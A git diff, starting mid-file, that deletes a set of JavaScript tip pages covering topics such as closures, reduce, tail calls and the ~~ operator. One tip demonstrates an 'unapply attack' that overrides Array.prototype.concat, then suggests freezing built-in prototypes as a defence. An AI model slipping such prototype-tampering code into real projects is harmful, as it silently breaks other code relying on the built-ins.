-tip-tldr: When you develop extensions to existent sites it's not so easy to play with DOM 'cause of modern dynamic javascript.
-
--   /en/observe-dom-changes/
-
-[MutationObserver](https://developer.mozilla.org/en/docs/Web/API/MutationObserver) is a solution to listen DOM changes and do what you want to do with elements when they changed. In following example there is some emulation of dynamic content loading with help of timers, after first "target" element creation goes "subTarget".
-In extension code firstly rootObserver works till targetElement appearance then elementObserver starts. This cascading observing helps finally get moment when subTargetElement found.
-This useful to develop extensions to complex sites with dynamic content loading.
-
-```js
-const observeConfig = {
-    attributes: true,
-    childList: true,
-    characterData: true,
-    subtree: true
-};
-
-function initExtension(rootElement, targetSelector, subTargetSelector) {
-    var rootObserver = new MutationObserver(function (mutations) {
-        console.log('Inside root observer');
-        targetElement = rootElement.querySelector(targetSelector);
-        if (targetElement) {
-            rootObserver.disconnect();
-            var elementObserver = new MutationObserver(function (mutations) {
-                console.log('Inside element observer');
-                subTargetElement = targetElement.querySelector(subTargetSelector);
-                if (subTargetElement) {
-                    elementObserver.disconnect();
-                    console.log('subTargetElement found!');
-                }
-            });
-            elementObserver.observe(targetElement, observeConfig);
-        }
-    });
-    rootObserver.observe(rootElement, observeConfig);
-}
-
-(function () {
-    initExtension(document.body, 'div.target', 'div.subtarget');
-
-    setTimeout(function () {
-        del = document.createElement('div');
-        del.innerHTML = "<div class='target'>target</div>";
-        document.body.appendChild(del);
-    }, 3000);
-
-    setTimeout(function () {
-        var el = document.body.querySelector('div.target');
-        if (el) {
-            del = document.createElement('div');
-            del.innerHTML = "<div class='subtarget'>subtarget</div>";
-            el.appendChild(del);
-        }
-    }, 5000);
-})();
-```
diff --git a/docs/content/js-topics/passingargumentstocallbackfunctions.md b/docs/content/js-topics/passingargumentstocallbackfunctions.md
deleted file mode 100644
index 90adeffe98..0000000000
--- a/docs/content/js-topics/passingargumentstocallbackfunctions.md
+++ /dev/null
@@ -1,53 +0,0 @@
-title: Passing arguments to callback functions
-tip-number: 16
-tip-username: minhazav
-tip-username-profile: https://twitter.com/minhazav
-tip-tldr: By default you cannot pass arguments to a callback function, but you can take advantage of the closure scope in Javascript to pass arguments to callback functions.
-
--   /en/passing-arguments-to-callback-functions/
-
-By default you cannot pass arguments to a callback function. For example:
-
----
-
-```js
-function callback() {
-    console.log('Hi human');
-}
-
-document.getElementById('someelem').addEventListener('click', callback);
-```
-
-You can take advantage of the closure scope in Javascript to pass arguments to callback functions. Check this example:
-
----
-
-```js
-function callback(a, b) {
-    return function () {
-        console.log('sum = ', a + b);
-    };
-}
-
-var x = 1,
-    y = 2;
-document.getElementById('someelem').addEventListener('click', callback(x, y));
-```
-
-### What are closures?
-
-Closures are functions that refer to independent (free) variables. In other words, the function defined in the closure 'remembers' the environment in which it was created. [Check MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures) to learn more.
-
-So this way the arguments `x` and `y` are in scope of the callback function when it is called.
-
-Another method to do this is using the `bind` method. For example:
-
-```js
-var alertText = function (text) {
-    alert(text);
-};
-
-document.getElementById('someelem').addEventListener('click', alertText.bind(this, 'hello'));
-```
-
-There is a very slight difference in performance of both methods, checkout [jsperf](http://jsperf.com/bind-vs-closure-23).
diff --git a/docs/content/js-topics/pickingandrejectingobjectproperties.md b/docs/content/js-topics/pickingandrejectingobjectproperties.md
deleted file mode 100644
index b099b1f78e..0000000000
--- a/docs/content/js-topics/pickingandrejectingobjectproperties.md
+++ /dev/null
@@ -1,60 +0,0 @@
-title: Picking and rejecting object properties
-tip-number: 70
-tip-username: loverajoel
-tip-username-profile: https://github.com/loverajoel
-tip-tldr: Sometimes we need to whitelist certain attributes from an object, say we've got an array representation of a database table and we need to `select` just a few fields for some function.
-
-categories: - en - javascript
-
----
-
-Sometimes we need to whitelist certain attributes from an object, say we've
-got an array representation of a database table and we need to `select` just
-a few fields for some function:
-
----
-
-```js
-function pick(obj, keys) {
-    return keys.map((k) => (k in obj ? { [k]: obj[k] } : {})).reduce((res, o) => Object.assign(res, o), {});
-}
-
-const row = {
-    'accounts.id': 1,
-    'client.name': 'John Doe',
-    'bank.code': 'MDAKW213'
-};
-
-const table = [row, { 'accounts.id': 3, 'client.name': 'Steve Doe', 'bank.code': 'STV12JB' }];
-
-pick(row, ['client.name']); // Get client name
-
-table.map((row) => pick(row, ['client.name'])); // Get a list of client names
-```
-
-There's a bit of skulduggery going on in pick. First, we `map` a function over
-the keys that will return, each time, an object with only the attribute pointed
-by the current key (or an empty object if there's no such attribute in the
-object). Then, we `reduce` this collection of single-attribute objects by
-merging the objects.
-
-But what if we want to `reject` the attributes? Well, the function changes a bit
-
----
-
-```js
-function reject(obj, keys) {
-    return Object.keys(obj)
-        .filter((k) => !keys.includes(k))
-        .map((k) => Object.assign({}, { [k]: obj[k] }))
-        .reduce((res, o) => Object.assign(res, o), {});
-}
-
-// or, reusing pick
-function reject(obj, keys) {
-    const vkeys = Object.keys(obj).filter((k) => !keys.includes(k));
-    return pick(obj, vkeys);
-}
-
-reject({ a: 2, b: 3, c: 4 }, ['a', 'b']); // => {c: 4}
-```
diff --git a/docs/content/js-topics/preventingunapplyattacks.md b/docs/content/js-topics/preventingunapplyattacks.md
deleted file mode 100644
index 33b31154b3..0000000000
--- a/docs/content/js-topics/preventingunapplyattacks.md
+++ /dev/null
@@ -1,50 +0,0 @@
-title: Preventing Unapply Attacks
-tip-number: 42
-tip-username: emars
-tip-username-profile: https://twitter.com/marseltov
-tip-tldr: Freeze the builtin prototypes.
-
--   /en/preventing-unapply-attacks/
-
-By overriding the builtin prototypes, external code can cause code to break by rewriting code to expose and change bound arguments. This can be an issue that seriously breaks applications that works by using polyfill es5 methods.
-
-```js
-// example bind polyfill
-function bind(fn) {
-    var prev = Array.prototype.slice.call(arguments, 1);
-    return function bound() {
-        var curr = Array.prototype.slice.call(arguments, 0);
-        var args = Array.prototype.concat.apply(prev, curr);
-        return fn.apply(null, args);
-    };
-}
-
-// unapply-attack
-function unapplyAttack() {
-    var concat = Array.prototype.concat;
-    Array.prototype.concat = function replaceAll() {
-        Array.prototype.concat = concat; // restore the correct version
-        var curr = Array.prototype.slice.call(arguments, 0);
-        var result = concat.apply([], curr);
-        return result;
-    };
-}
-```
-
-The above function discards the `prev` array from the bind meaning that any `.concat` the first concat call following using the unapply attack will throw an error.
-
-By using [Object.freeze](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze), making an object immutable, you prevent any overriding of the builtin object prototypes.
-
-```js
-(function freezePrototypes() {
-    if (typeof Object.freeze !== 'function') {
-        throw new Error('Missing Object.freeze');
-    }
-    Object.freeze(Object.prototype);
-    Object.freeze(Array.prototype);
-    Object.freeze(Function.prototype);
-})();
-```
-
-You can read more about unapply attacks [here](https://glebbahmutov.com/blog/unapply-attack/).
-Although this concept is called an 'unapply attack' due to some code being able to access closures that normally wouldn't be in scope, it is mostly wrong to consider this a security feature due to it not preventing an attacker with code execution from extending prototypes before the freezing happens and also still having the potential to read all scopes using various language features. ECMA modules would give realm based isolation which is much stronger than this solution however still doesn't fix the issues of third party scripts.
diff --git a/docs/content/js-topics/protocolsforthe.md b/docs/content/js-topics/protocolsforthe.md
deleted file mode 100644
index 0440d87982..0000000000
--- a/docs/content/js-topics/protocolsforthe.md
+++ /dev/null
@@ -1,90 +0,0 @@
-title: Protocols for the Brave
-tip-number: 73
-tip-username: loverajoel
-tip-username-profile: https://github.com/loverajoel
-tip-tldr: You might have heard about the old ways gaining hype recently, and we don't mean praying to the gods of the north. Today we're introducing a feature found in Clojure which allows you to define interfaces for your classes.
-
-categories: - en - javascript
-
----
-
-You might have heard about the old ways gaining hype recently, and we don't
-mean praying to the gods of the north.
-
-Functional programming is the rediscovered toy which is bringing some sanity
-to the world of mutable state and global bindings.
-
-Today we're introducing a feature found in Clojure which allows you to define
-interfaces for your classes. Let's look at one-off implementation:
-
-```js
-const protocols = (...ps) => ps.reduce((c, p) => p(c), Object);
-
-const Mappable = (klass) => {
-    return class extends klass {
-        map() {
-            throw 'Not implemented';
-        }
-    };
-};
-
-const Foldable = (klass) => {
-    return class extends klass {
-        fold() {
-            throw 'Not implemented';
-        }
-    };
-};
-
-class NaturalNumbers extends protocols(Mappable, Foldable) {
-    constructor() {
-        super();
-        this.elements = [1, 2, 3, 4, 5, 6, 7, 8, 9];
-    }
-
-    map(f) {
-        return this.elements.map(f);
-    }
-
-    fold(f) {
-        return this.elements.reduce(f, this.elements, 0);
-    }
-}
-```
-
-Yes, we're building a chain of class inheritance up there with that reduce boy.
-It's pretty cool. We're doing it dynamically! You see, each protocol receives
-a base class (Object) and extends it somehow returning the new class. The idea
-is similar to that of interfaces.
-
-We supply method signatures for the protocol and make sure we provide
-implementations for it on our base classes.
-
-What's so cool about it? We get to write things like these:
-
-```js
-const map = (f) => (o) => o.map(f);
-const fold = (f) => (o) => o.fold(f);
-const compose = (...fns) => fns.reduce((acc, f) => (x) => acc(f(x)), id);
-```
-
-Ok, maybe we could have written those two functions without the above fuzz but,
-now that we know `NaturalNumbers` are `Mappable`, we can call `map` on them
-and trust it will return the right result. Furthermore, with our third function,
-we can _compose_ any number of operations defined in protocols cleanly:
-
-```js
-const plus1 = (x) => x + 1;
-const div5 = (x) => x / 5;
-const plus_then_div = compose(map(div5), map(plus1));
-console.log(plus_then_div(new NaturalNumbers()));
-// => [ 0.4, 0.6, 0.8, 1, 1.2, 1.4, 1.6, 1.8, 2 ]
-```
-
-More important, if we know that an object of ours is `Mappable`, we know `map`
-will work on it. Protocols gives us an idea of what we can do with an object and
-help us abstract common operations between data types, thus reducing the
-overhead of dealing with a hundred functions.
-
-What is easier? To have a hundred functions for every different object or ten
-functions that work on a hundred objects?
diff --git a/docs/content/js-topics/pseudomandatoryparametersinesfunctions.md b/docs/content/js-topics/pseudomandatoryparametersinesfunctions.md
deleted file mode 100644
index e89a344271..0000000000
--- a/docs/content/js-topics/pseudomandatoryparametersinesfunctions.md
+++ /dev/null
@@ -1,22 +0,0 @@
-title: Pseudomandatory parameters in ES6 functions
-tip-number: 12
-tip-username: Avraam Mavridis
-tip-username-profile: https://github.com/AvraamMavridis
-tip-tldr: In many programming languages the parameters of a function are by default mandatory and the developer has to explicitly define that a parameter is optional.
-
--   /en/pseudomandatory-parameters-in-es6-functions/
-
-In many programming languages the parameters of a function are by default mandatory and the developer has to explicitly define that a parameter is optional. In Javascript, every parameter is optional, but we can enforce this behavior without messing with the actual body of a function, taking advantage of [**es6's default values for parameters**] (http://exploringjs.com/es6/ch_parameter-handling.html#sec_parameter-default-values) feature.
-
-```js
-const _err = function (message) {
-    throw new Error(message);
-};
-
-const getSum = (a = _err('a is not defined'), b = _err('b is not defined')) => a + b;
-
-getSum(10); // throws Error, b is not defined
-getSum(undefined, 10); // throws Error, a is not defined
-```
-
-`_err` is a function that immediately throws an Error. If no value is passed for one of the parameters, the default value is going to be used, `_err` will be called and an Error will be thrown. You can see more examples for the **default parameters feature** on [Mozilla's Developer Network ](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/default_parameters)
diff --git a/docs/content/js-topics/recursioniterationandtailcallsinjs.md b/docs/content/js-topics/recursioniterationandtailcallsinjs.md
deleted file mode 100644
index 3af8684ecb..0000000000
--- a/docs/content/js-topics/recursioniterationandtailcallsinjs.md
+++ /dev/null
@@ -1,158 +0,0 @@
-title: Recursion, iteration and tail calls in JS
-tip-number: 67
-tip-username: loverajoel
-tip-username-profile: https://twitter.com/loverajoel
-tip-tldr: If you've been on the business for some time, you have, most likely, come across the definition of recursion, for which the factorial of a given number `n! = n * n - 1 * ... * 1` is a standard example...
-tip-md-link: https://github.com/loverajoel/jstips/blob/master/_posts/en/javascript/2017-03-29-recursion-iteration-and-tail-calls-in-js.md
-
-categories: - en - javascript
-
----
-
-If you've been on the business for some time, you have, most likely,
-come across the definition of recursion, for which the factorial of
-a given number `n! = n * (n - 1) * ... * 1` is a standard example.
-
----
-
-```js
-function factorial(n) {
-    if (n === 0) {
-        return 1;
-    }
-    return n * factorial(n - 1);
-}
-```
-
-The example shown above is but the most naive implementation of the
-factorial function.
-
-For the sake of completeness, let's look at how this executes for
-`n = 6`:
-
--   factorial(6)
-    -   6 \* factorial(5)
-        -   5 \* factorial (4)
-            -   4 \* factorial(3)
-                -   3 \* factorial(2)
-                    -   2 \* factorial(1)
-                        -   1 \* factorial(0)
-                            -   1
-                        -   (resuming previous execution) 1 \* 1 = 1
-                    -   (resuming...) 2 \* 1 = 2
-                -   (...) 3 \* 2 = 6
-            -   ... 4 \* 6 = 24
-        -   5 \* 24 = 120
-    -   6 \* 120 = 720
--   factorial(6) = 720
-
-Now, we must be very cautious as to what's happening so we can understand
-what is to come next.
-
-When we invoke a function, several things happen at once. The location to
-which we must return to after calling the function is saved, along with
-the information of the current frame (i.e, the value of n). Then space is
-allocated for the new function and a new frame is born.
-
-This goes on and on, we keep stacking these frames and then we unwind that
-stack, replacing function calls with values returned by them.
-
-Another thing to notice is the shape of the process generated by our function.
-You might not be surprised if I call this shape _recursive_. We have, thus, a
-_recursive process_.
-
-Let's take a look at a second implementation of this function.
-
----
-
-```js
-function factorial(n, res) {
-    if (n === 0) {
-        return res;
-    }
-    return factorial(n - 1, res * n);
-}
-```
-
-We can encapsulate functionality a bit further by defining an inner function.
-
----
-
-```js
-function factorial(n) {
-    function inner_factorial(n, res) {
-        if (n === 0) {
-            return res;
-        }
-        return inner_factorial(n - 1, res * n);
-    }
-    return inner_factorial(n, 1);
-}
-```
-
-Let's take a look at how this gets executed:
-
--   factorial(6)
-    -   inner anonymous function (iaf) gets called with (n = 6, res = 1)
-        -   iaf(5, 1 \* 6)
-            -   iaf(4, 6 \* 5)
-                -   iaf(3, 30 \* 4)
-                    -   iaf(2, 120 \* 3)
-                        -   iaf(1, 360 \* 2)
-                            -   iaf(0, 720)
-                                -   720
-                            -   720
-                        -   720
-                    -   720
-                -   720
-            -   720
-        -   720
-    -   iaf (6, 1) = 720
--   factorial(6) = 720
-
-You might notice that we didn't need to perform any calculation after unwinding
-the stack. We just returned a value. But, according to our rules, we had to save
-the state as a stack frame, even if it weren't of any use later in the chain.
-
-Our rules, however, are not applied to every language out there. In fact, in
-Scheme it's mandatory for such chains to be optimized with tail call
-optimization. This ensures that our stack is not filled with unnecessary frames.
-Our previous calculation would look, thus, this way:
-
--   factorial(6)
--   iaf(6, 1)
--   iaf(5, 6)
--   iaf(4, 30)
--   iaf(3, 120)
--   iaf(2, 360)
--   iaf(1, 720)
--   iaf(0, 720)
--   720
-
-Which in turns, looks an awfully lot like
-
-```js
-res = 1;
-n = 6;
-
-while (n > 1) {
-    res = res * n;
-    n--;
-}
-```
-
-This means, we actually have an _iterative process_, even if we're using
-recursion. How cool is that?
-
-The good news is, this is a feature in ES6. As long as your recursive call
-is in tail position and your function has strict mode, tail call optimization
-will kick in and save you from having a `maximum stack size exceeded` error.
-
-UPDATE Dec 1, 2017:
-The only major browser with tail call optimization is Safari.<sup id="a1">1</sup> V8 has an implentation<sup>2</sup> but has not shipped it yet<sup>3</sup> for the reasons listed.
-
-1: https://kangax.github.io/compat-table/es6/#test-proper_tail_calls_(tail_call_optimisation)
-
-2: https://bugs.chromium.org/p/v8/issues/detail?id=4698
-
-3: https://v8project.blogspot.com/2016/04/es6-es7-and-beyond.html
diff --git a/docs/content/js-topics/remindersaboutreducefunctionusage.md b/docs/content/js-topics/remindersaboutreducefunctionusage.md
deleted file mode 100644
index f9a2561d9a..0000000000
--- a/docs/content/js-topics/remindersaboutreducefunctionusage.md
+++ /dev/null
@@ -1,113 +0,0 @@
-title: How to `reduce()` arrays
-tip-number: 48
-tip-username: darul75
-tip-username-profile: https://twitter.com/darul75
-tip-tldr: Some reminders about using `reduce()`
-
--   /en/reminders-about-reduce-function-usage/
-
-As written in documentation the `reduce()` method applies a function against an accumulator and each value of the array (from left-to-right) to reduce it to a single value.
-
-### Signature
-
-[reduce()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce) function accepts 2 parameters (M: mandatory, O: optional):
-
--   (M) a callback **reducer function** to be applied that deals with a pair of previous (result of previous computation) and next element until end of the list.
--   (O) an **initial value** to be used as the first argument to the first call of the callback.
-
-So let's see a common usage and later a more sophisticated one.
-
-### Common usage (accumulation, concatenation)
-
-We are on Amazon website (prices in $) and our caddy is quite full, let's compute total.
-
-```js
-// my current amazon caddy purchases
-var items = [{ price: 10 }, { price: 120 }, { price: 1000 }];
-
-// our reducer function
-var reducer = function add(sumSoFar, item) {
-    return sumSoFar + item.price;
-};
-
-// do the job
-var total = items.reduce(reducer, 0);
-
-console.log(total); // 1130
-```
-
-Optional reduce function parameter was primitive integer type 0 in that first case, but it could have been an Object, an Array...instead of a primitive type,
-but we will see that later.
-
-Now, cool I received a discount coupon of 20$.
-
-```js
-var total = items.reduce(reducer, -20);
-
-console.log(total); // 1110
-```
-
-### Advanced usage (combination)
-
-This second usage example is inspired by Redux [combineReducers](http://redux.js.org/docs/api/combineReducers.html) function [source](https://github.com/reactjs/redux/blob/master/src/combineReducers.js#L93).
-
-Idea behind is to separate reducer function into separate individual functions and at the end compute a new _single big reducer function_.
-
-To illustrate this, let's create a single object literal with some reducers function able to compute total prices in different currency $, €...
-
-```js
-var reducers = {
-    totalInDollar: function (state, item) {
-        // specific statements...
-        return (state.dollars += item.price);
-    },
-    totalInEuros: function (state, item) {
-        return (state.euros += item.price * 0.897424392);
-    },
-    totalInPounds: function (state, item) {
-        return (state.pounds += item.price * 0.692688671);
-    },
-    totalInYen: function (state, item) {
-        return (state.yens += item.price * 113.852);
-    }
-    // more...
-};
-```
-
-Then, we create a new swiss knife function
-
--   responsible for applying each partial reduce functions.
--   that will return a new callback reducer function
-
-```js
-var combineTotalPriceReducers = function (reducers) {
-    return function (state, item) {
-        return Object.keys(reducers).reduce(function (nextState, key) {
-            reducers[key](state, item);
-            return state;
-        }, {});
-    };
-};
-```
-
-Now let's see how using it.
-
-```js
-var bigTotalPriceReducer = combineTotalPriceReducers(reducers);
-
-var initialState = { dollars: 0, euros: 0, yens: 0, pounds: 0 };
-
-var totals = items.reduce(bigTotalPriceReducer, initialState);
-
-console.log(totals);
-
-/*
-Object {dollars: 1130, euros: 1015.11531904, yens: 127524.24, pounds: 785.81131152}
-*/
-```
-
-I hope this approach can give you another idea of using reduce() function for your own needs.
-
-Your reduce function could handle an history of each computation by instance as it is done in Ramdajs with [scan](http://ramdajs.com/docs/#scan) function
-
-[JSFiddle to play with](https://jsfiddle.net/darul75/81tgt0cd/)
diff --git a/docs/content/js-topics/returnobjectstoenablechainingoffunctions.md b/docs/content/js-topics/returnobjectstoenablechainingoffunctions.md
deleted file mode 100644
index 15bc458750..0000000000
--- a/docs/content/js-topics/returnobjectstoenablechainingoffunctions.md
+++ /dev/null
@@ -1,30 +0,0 @@
-title: Return objects to enable chaining of functions
-tip-number: 20
-tip-username: WakeskaterX
-tip-username-profile: https://twitter.com/WakeStudio
-tip-tldr: When creating functions on an object in Object Oriented Javascript, returning the object in the function will enable you to chain functions together.
-
--   /en/return-objects-to-enable-chaining-of-functions/
-
-When creating functions on an object in Object Oriented Javascript, returning the object in the function will enable you to chain functions together.
-
----
-
-```js
-function Person(name) {
-    this.name = name;
-
-    this.sayName = function () {
-        console.log('Hello my name is: ', this.name);
-        return this;
-    };
-
-    this.changeName = function (name) {
-        this.name = name;
-        return this;
-    };
-}
-
-var person = new Person('John');
-person.sayName().changeName('Timmy').sayName();
-```
diff --git a/docs/content/js-topics/returnvalueswiththenewoperator.md b/docs/content/js-topics/returnvalueswiththenewoperator.md
deleted file mode 100644
index cc3dc4671d..0000000000
--- a/docs/content/js-topics/returnvalueswiththenewoperator.md
+++ /dev/null
@@ -1,89 +0,0 @@
-title: Return Values with the 'new' Operator
-tip-number: 52
-tip-username: Morklympious
-tip-username-profile: https://github.com/morklympious
-tip-tldr: Understand what gets returned when using new vs. not using new.
-
--   /en/return-values-with-the-new-operator/
-
-You're going to run into some instances where you'll be using `new` to allocate new objects in JavaScript. It's going to blow your mind unless you read this tip to understand what's happening behind the scenes.
-
-The `new` operator in JavaScript is an operator that, under reasonable circumstances, returns a new instance of an object. Let's say we have a constructor function:
-
----
-
-```js
-function Thing() {
-    this.one = 1;
-    this.two = 2;
-}
-
-var myThing = new Thing();
-
-myThing.one; // 1
-myThing.two; // 2
-```
-
-**Note**: `this` refers to the new object created by `new`. Otherwise if `Thing()` is called without `new`, **no object is created**, and `this` is going to point to the global object, which is `window`. This means that:
-
-1. You'll suddenly have two new global variables named `one` and `two`.
-2. `myThing` is now undefined, since nothing is returned in `Thing()`.
-
-Now that you get that example, here's where things get a little bit wonky. Let's say I add something to the constructor function, a little SPICE:
-
----
-
-```js
-function Thing() {
-    this.one = 1;
-    this.two = 2;
-
-    return 5;
-}
-
-var myThing = new Thing();
-```
-
-Now, what does myThing equal? Is it 5? is it an object? Is it my crippled sense of self-worth? The world may never know!
-
-Except the world does know:
-
-```js
-myThing.one; // 1
-myThing.two; // 2
-```
-
-Interestingly enough, we never actually see the five that we supposedly 'returned' from our constructor. That's weird, isn't it? What are you doing function? WHERE'S THE FIVE? Let's try it with something else.
-
-Let's return a non-primitive type instead, something like an object.
-
----
-
-```js
-function Thing() {
-    this.one = 1;
-    this.two = 2;
-
-    return {
-        three: 3,
-        four: 4
-    };
-}
-
-var myThing = new Thing();
-```
-
-Let's check it out. A quick console.log reveals all:
-
-```js
-console.log(myThing);
-/*
-  Object {three: 3, four: 4}
-  What happened to this.one and this.two!?
-  They've been stomped, my friend.
-*/
-```
-
-**Here's where we learn:** When you invoke a function with the `new` keyword, you can set properties on it using the keyword `this` (but you probably already knew that). Returning a primitive value from a function you called with the `new` keyword will not return the value you specified, but instead will return the `this` instance of the function (the one you put properties on, like `this.one = 1;`).
-
-However, returning a non-primitive, like an `object`, `array`, or `function` will stomp on the `this` instance, and return that non-primitive instead, effectively ruining all the hard work you did assigning everything to `this`.
diff --git a/docs/content/js-topics/roundingthefastway.md b/docs/content/js-topics/roundingthefastway.md
deleted file mode 100644
index b40b4c5da5..0000000000
--- a/docs/content/js-topics/roundingthefastway.md
+++ /dev/null
@@ -1,117 +0,0 @@
-title: Truncating the fast (but risky) way
-tip-number: 18
-tip-username: pklinger
-tip-username-profile: https://github.com/pklinger
-tip-tldr: .`~~X` is usually a faster `Math.trunc(X)`, but can also make your code do nasty things.
-
--   /en/rounding-the-fast-way/
-
-This tip is about performance...with a hidden price tag.
-
-Have you ever come across the [double tilde `~~` operator](http://stackoverflow.com/questions/5971645/what-is-the-double-tilde-operator-in-javascript)? It's also often called the "double bitwise NOT" operator. You can often use it as a faster substitute for `Math.trunc()`. Why is that?
-
-One bitwise shift `~` first truncates `input` to 32 bits, then transforms it into `-(input+1)`. The double bitwise shift therefore transforms the input into `-(-(input + 1)+1)` making it a great tool to round towards zero. For numeric input, it therefore mimics `Math.trunc()`. On failure, `0` is returned, which might come in handy sometimes instead of `Math.trunc()`, which returns `NaN` on failure.
-
-```js
-// single ~
-console.log(~1337); // -1338
-
-// numeric input
-console.log(~~47.11); // -> 47
-console.log(~~1.9999); // -> 1
-console.log(~~3); // -> 3
-```
-
-However, while `~~` is probably a better performer, experienced programmers often stick with `Math.trunc()` instead. To understand why, here's a clinical view on this operator.
-
-### INDICATIONS
-
-##### When every CPU cycle counts
-
-`~~` is probably faster than `Math.trunc()` across the board, though you should [test that assumption](https://jsperf.com/jsfvsbitnot/10) on whichever platforms matter to you. Also, you'd generally have to perform millions of such operations to have any visible impact at run time.
-
-##### When code clarity is not a concern
-
-If you're trying to confuse others, or get maximum utility from your minifier/uglifier, this is a relatively cheap way to do it.
-
-### CONTRAINDICATIONS
-
-##### When your code needs to be maintained
-
-Code clarity is of great importance in the long term, whether you work in a team, contribute to public code repos, or fly solo. As [the oft-quoted saying](http://c2.com/cgi/wiki?CodeForTheMaintainer) goes:
-
-> Always code as if the person who ends up maintaining your code is a violent psychopath who knows where you live.
-
-For a solo programmer, that psychopath is inevitably "you in six months".
-
-##### When you forget that `~~` always rounds to zero
-
-Newbie programmers may fixate on the cleverness of `~~`, forgetting the significance of "just drop the fractional portion of this number". This can easily lead to **fencepost errors** (a.k.a. "off-by-one") when transforming floats to array indices or related ordinal values, where a different kind of fractional rounding may actually be called for. (Lack of code clarity usually contributes to this problem.)
-
-For instance, if you're counting numbers on a "nearest integer" basis, you should use `Math.round()` instead of `~~`, but programmer laziness and the impact of **_10 whole characters saved per use_** on human fingers often triumph over cold logic, leading to incorrect results.
-
-In contrast, the very names of the `Math.xyz()` functions clearly communicate their effect, reducing the probability of accidental errors.
-
-##### When dealing with large-magnitude numbers
-
-Because `~` first does a 32-bit conversion, `~~` results in bogus values around &plusmn;2.15 billion. If you don't properly range-check your input, a user could trigger unexpected behavior when the transformed value ends up being a great distance from the original:
-
-```js
-a = 2147483647.123; // maximum positive 32-bit integer, plus a bit more
-console.log(~~a); // ->  2147483647     (ok)
-a += 10000; // ->  2147493647.123 (ok)
-console.log(~~a); // -> -2147483648     (huh?)
-```
-
-One particularly vulnerable area involves dealing with Unix epoch timestamps (measured in seconds from 1 Jan 1970 00:00:00 UTC). A quick way to get such values is:
-
-```js
-epoch_int = ~~(+new Date() / 1000); // Date() epochs in milliseconds, so we scale accordingly
-```
-
-However, when dealing with timestamps after 19 Jan 2038 03:14:07 UTC (sometimes called the **Y2038 limit**), this breaks horribly:
-
-```js
-// epoch timestamp for 1 Jan 2040 00:00:00.123 UTC
-epoch = +new Date('2040-01-01') / 1000 + 0.123; // ->  2208988800.123
-
-// back to the future!
-epoch_int = ~~epoch; // -> -2085978496
-console.log(new Date(epoch_int * 1000)); // ->  Wed Nov 25 1903 17:31:44 UTC
-
-// that was fun, now let's get real
-epoch_flr = Math.floor(epoch); // ->  2208988800
-console.log(new Date(epoch_flr * 1000)); // ->  Sun Jan 01 2040 00:00:00 UTC
-```
-
-##### When the original input wasn't sanitized
-
-Because `~~` transforms every non-number into `0`:
-
-```js
-console.log(~~[]); // -> 0
-console.log(~~NaN); // -> 0
-console.log(~~null); // -> 0
-```
-
-some programmers treat it as alternative to proper input validation. However, this can lead to strange logic bugs down the line, since you're no longer distinguishing between invalid inputs and actual `0` values. This is therefore _not_ a recommended practice.
-
-##### When so many people think `~~X == Math.floor(X)`
-
-Most people who write about "double bitwise NOT" incorrectly equate it with `Math.floor()` for some reason. If you can't write about it accurately, odds are good you'll eventually misuse it.
-
-Others are more careful to mention `Math.floor()` for positive inputs and `Math.ceil()` for negative ones, but that forces you to stop and think about the values you're dealing with. This defeats the purpose of `~~` as a handy no-gotchas shortcut.
-
-### DOSAGE
-
-Avoid where possible. Use sparingly otherwise.
-
-### ADMINISTRATION
-
-1. Apply cautiously.
-2. Sanitize values before applying.
-3. Carefully document relevant assumptions about the values being transformed.
-4. Review code to deal with, at minimum:
-    - logic bugs where invalid inputs are instead passed to other code modules as valid `0` values
-    - range errors on transformed inputs
-    - fencepost errors due to incorrect rounding direction
diff --git a/docs/content/js-topics/safestringconcatenation.md b/docs/content/js-topics/safestringconcatenation.md
deleted file mode 100644
index 9a0aa07bbc..0000000000
--- a/docs/content/js-topics/safestringconcatenation.md
+++ /dev/null
@@ -1,31 +0,0 @@
-title: Safe string concatenation
-tip-number: 19
-tip-username: gogainda
-tip-username-profile: https://twitter.com/gogainda
-tip-tldr: Suppose you have a couple of variables with unknown types and you want to concatenate them in a string. To be sure that the arithmetical operation is not be applied during concatenation, use concat
-
--   /en/safe-string-concatenation/
-
-Suppose you have a couple of variables with unknown types and you want to concatenate them in a string. To be sure that the arithmetical operation is not be applied during concatenation, use `concat`:
-
-```js
-var one = 1;
-var two = 2;
-var three = '3';
-
-var result = ''.concat(one, two, three); //"123"
-```
-
-This way of concatenting does exactly what you'd expect. In contrast, concatenation with pluses might lead to unexpected results:
-
-```js
-var one = 1;
-var two = 2;
-var three = '3';
-
-var result = one + two + three; //"33" instead of "123"
-```
-
-Speaking about performance, compared to the `join` [type](http://www.sitepoint.com/javascript-fast-string-concatenation/) of concatenation, the speed of `concat` is pretty much the same.
-
-You can read more about the `concat` function on MDN [page](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/concat).
diff --git a/docs/content/js-topics/shortcircuitevaluationinjs.md b/docs/content/js-topics/shortcircuitevaluationinjs.md
deleted file mode 100644
index f6b0a1c842..0000000000
--- a/docs/content/js-topics/shortcircuitevaluationinjs.md
+++ /dev/null
@@ -1,77 +0,0 @@
-title: Short circuit evaluation in JS.
-tip-number: 27
-tip-username: bhaskarmelkani
-tip-username-profile: https://www.twitter.com/bhaskarmelkani
-tip-tldr: Short-circuit evaluation says, the second argument is executed or evaluated only if the first argument does not suffice to determine the value of the expression, when the first argument of the AND `&&` function evaluates to false, the overall value must be false, and when the first argument of the OR `||` function evaluates to true, the overall value must be true.
-
--   /en/short-circuit-evaluation-in-js/
-
-[Short-circuit evaluation](https://en.wikipedia.org/wiki/Short-circuit_evaluation) says, the second argument is executed or evaluated only if the first argument does not suffice to determine the value of the expression: when the first argument of the AND (`&&`) function evaluates to false, the overall value must be false; and when the first argument of the OR (`||`) function evaluates to true, the overall value must be true.
-
-For the following `test` condition and `isTrue` and `isFalse` function.
-
-```js
-var test = true;
-var isTrue = function () {
-    console.log('Test is true.');
-};
-var isFalse = function () {
-    console.log('Test is false.');
-};
-```
-
-Using logical AND - `&&`.
-
-```js
-// A normal if statement.
-if (test) {
-    isTrue(); // Test is true
-}
-
-// Above can be done using '&&' as -
-
-test && isTrue(); // Test is true
-```
-
-Using logical OR - `||`.
-
-```js
-test = false;
-if (!test) {
-    isFalse(); // Test is false.
-}
-
-test || isFalse(); // Test is false.
-```
-
